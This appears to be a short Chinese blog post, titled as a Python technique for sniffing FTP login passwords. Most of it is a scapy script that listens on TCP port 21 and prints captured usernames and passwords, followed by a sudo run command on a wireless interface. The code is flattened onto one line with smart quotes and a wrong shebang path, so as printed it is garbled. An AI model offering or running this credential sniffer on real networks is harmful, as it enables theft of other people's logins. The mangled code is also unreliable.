標籤:interface 指令碼 class run 嗅探 imp from har etl
代碼:
#!/usr/share/env python#--*--coding=utf-8--*--import optparsefrom scapy.all import *def ftpsniff(pkt):dest = pkt.getlayer(IP).dstraw = pkt.sprintf(‘%Raw.load%‘)user = re.findall(‘(?i)USER (.*)‘, raw)pswd = re.findall(‘(?i)PASS (.*)‘, raw)if user:print ‘[*] Detected FTP Login to ‘ + str(dest)print ‘[+] Username: ‘ + str(user[0])elif pswd:print ‘[+] Password: ‘ + str(pswd[0])def ftpsniffmain():parser = optparse.OptionParser(‘usage %prog ‘ + ‘-i <interface>‘)parser.add_option(‘-i‘,dest=‘interface‘,type=‘string‘,help=‘specify interface to listen on‘)(options,args) = parser.parse_args()if options.interface == None:print parser.usageexit(0)else:conf.iface = options.interfacetry:print ‘FTP sniffer is running....‘sniff(filter=‘tcp port 21‘,prn=ftpsniff)except KeyboardInterrupt:exit(0)if __name__ == ‘__main__‘:ftpsniffmain()
運行嗅探指令碼: sudo python ftpsniff.py -i wlan0
現在我們登入ftp進行測試
嗅探結果
python絕技 — 嗅探FTP登入口令